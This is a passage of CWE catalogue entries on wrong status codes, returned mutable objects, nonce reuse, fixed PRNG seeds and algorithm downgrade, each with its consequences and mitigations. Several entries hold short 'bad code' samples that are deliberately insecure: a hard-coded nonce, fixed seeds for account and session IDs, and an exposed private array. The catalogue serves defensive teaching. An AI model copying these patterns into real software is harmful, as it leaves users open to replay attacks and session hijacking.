Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Unexpected State; Alter Execution Logic

This weakness could place the system in a state that could lead unexpected logic to be executed or other unintended behaviors.
+ Demonstrative Examples

Example 1

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

(bad code)
Example Language: Java 
try {

// something that might throw IOException
...
} catch (IOException ioe) {
response.sendError(SC_NOT_FOUND);
}
+ Observed Examples
ReferenceDescription
DNS server returns wrong response code for non-existent AAAA record, which effectively says that the domain is inaccessible.
Hardware-specific implementation of system call causes incorrect results from geteuid.
Chain: System call returns wrong value (CWE-393), leading to a resultant NULL dereference (CWE-476).
chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint).
+ Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.961SFP Secondary Cluster: Incorrect Exception Behavior
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can be primary or resultant, but it is probably most often primary to other issues.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWrong Status Code
Software Fault PatternsSFP6Incorrect Exception Behavior
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Observed_Examples
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes
2021-07-20CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Wrong Status Code

CWE-375: Returning a Mutable Object to an Untrusted Caller

Weakness ID: 375
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.
+ Extended Description
In situations where functions return references to mutable data, it is possible that the external code which called the function may make changes to the data sent. If this data was not previously cloned, the class will then be using modified data which may violate assumptions about its internal state.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.371State Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Integrity

Technical Impact: Modify Memory

Potentially data could be tampered with by another function which should not have been tampered with.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This class has a private list of patients, but provides a way to see the list :

(bad code)
Example Language: Java 
public class ClinicalTrial {
private PatientClass[] patientList = new PatientClass[50];
public getPatients(...){
return patientList;
}
}

While this code only means to allow reading of the patient list, the getPatients() method returns a reference to the class's original patient list instead of a reference to a copy of the list. Any caller of this method can arbitrarily modify the contents of the patient list even though it is a private member of the class.

+ Potential Mitigations

Phase: Implementation

Declare returned data which should not be altered as constant or immutable.

Phase: Implementation

Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.849The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1139SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1181SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPMutable object returned
The CERT Oracle Secure Coding Standard for Java (2011)OBJ04-JProvide mutable classes with copy functionality to safely allow passing instances to untrusted code
The CERT Oracle Secure Coding Standard for Java (2011)OBJ05-JDefensively copy private mutable class members before returning their references
SEI CERT Perl Coding StandardEXP34-PLImpreciseDo not modify $_ in list or sorting functions
Software Fault PatternsSFP23Exposed Data
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2010-09-27CWE Content TeamMITRE
updated Name, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References
2021-03-15CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-09-27Passing Mutable Objects to an Untrusted Method

CWE-323: Reusing a Nonce, Key Pair in Encryption

Weakness ID: 323
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Nonces should be used for the present occasion and only once.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.344Use of Invariant Value in Dynamically Changing Context
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.320Key Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Background Details
Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code takes a password, concatenates it with a nonce, then encrypts it before sending over a network:

(bad code)
Example Language:
void encryptAndSendPassword(char *password){
char *nonce = "bad";
...
char *data = (unsigned char*)malloc(20);
int para_size = strlen(nonce) + strlen(password);
char *paragraph = (char*)malloc(para_size);
SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);
sendEncryptedData(data)
}

Because the nonce used is always the same, an attacker can impersonate a trusted party by intercepting and resending the encrypted password. This attack avoids the need to learn the unencrypted password.

Example 2

This code sends a command to a remote server, using an encrypted password and nonce to prove the command is from a trusted party:

(bad code)
Example Language: C++ 
String command = new String("some command to execute");
MessageDigest nonce = MessageDigest.getInstance("SHA");
nonce.update(String.valueOf("bad nonce"));
byte[] nonce = nonce.digest();
MessageDigest password = MessageDigest.getInstance("SHA");
password.update(nonce + "secretPassword");
byte[] digest = password.digest();
sendCommand(digest, command)

Once again the nonce used is always the same. An attacker may be able to replay previous legitimate commands or execute new arbitrary commands.

+ Potential Mitigations

Phase: Implementation

Refuse to reuse nonce values.

Phase: Implementation

Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.959SFP Secondary Cluster: Weak Cryptography
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPReusing a nonce, key pair in encryption
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated References
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG)

Weakness ID: 336
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.
+ Extended Description
Given the deterministic nature of PRNGs, using the same seed for each initialization will lead to the same output in the same order. If an attacker can guess (or knows) the seed, then the attacker may be able to determine the random numbers that will be produced from the PRNG.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.335Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other
Access Control

Technical Impact: Other; Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

The following code uses a statistical PRNG to generate account IDs.

(bad code)
Example Language: Java 
private static final long SEED = 1234567890;
public int generateAccountID() {
Random random = new Random(SEED);
return random.nextInt();
}

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

Example 2

This code attempts to generate a unique random identifier for a user's session.

(bad code)
Example Language: PHP 
function generateSessionID($userID){
srand($userID);
return rand();
}

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.

If the user IDs are generated sequentially, or otherwise restricted to a narrow range of values, then this example also exhibits a Small Seed Space (CWE-339).

+ Observed Examples
ReferenceDescription
SDK for JavaScript app builder for serverless code uses the same fixed seed for a PRNG, allowing cryptography bypass
+ Potential Mitigations

Phase: Architecture and Design

Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

Phases: Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems, or use the more recent FIPS 140-3 [REF-1192] if possible.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.861The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1152SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSame Seed in PRNG
The CERT Oracle Secure Coding Standard for Java (2011)MSC02-JGenerate strong random numbers
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". Annex C, Approved Random Number Generators. 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-1192] Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019-03-22. <https://csrc.nist.gov/publications/detail/fips/140/3/final>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Modes_of_Introduction, Name, References, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Potential_Mitigations, References
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Modes_of_Introduction, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2017-11-08Same Seed in PRNG

CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')

Weakness ID: 757
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.
+ Extended Description
When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the product by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.693Protection Mechanism Failure
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1328Security Version Number Mutable to Older Versions
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
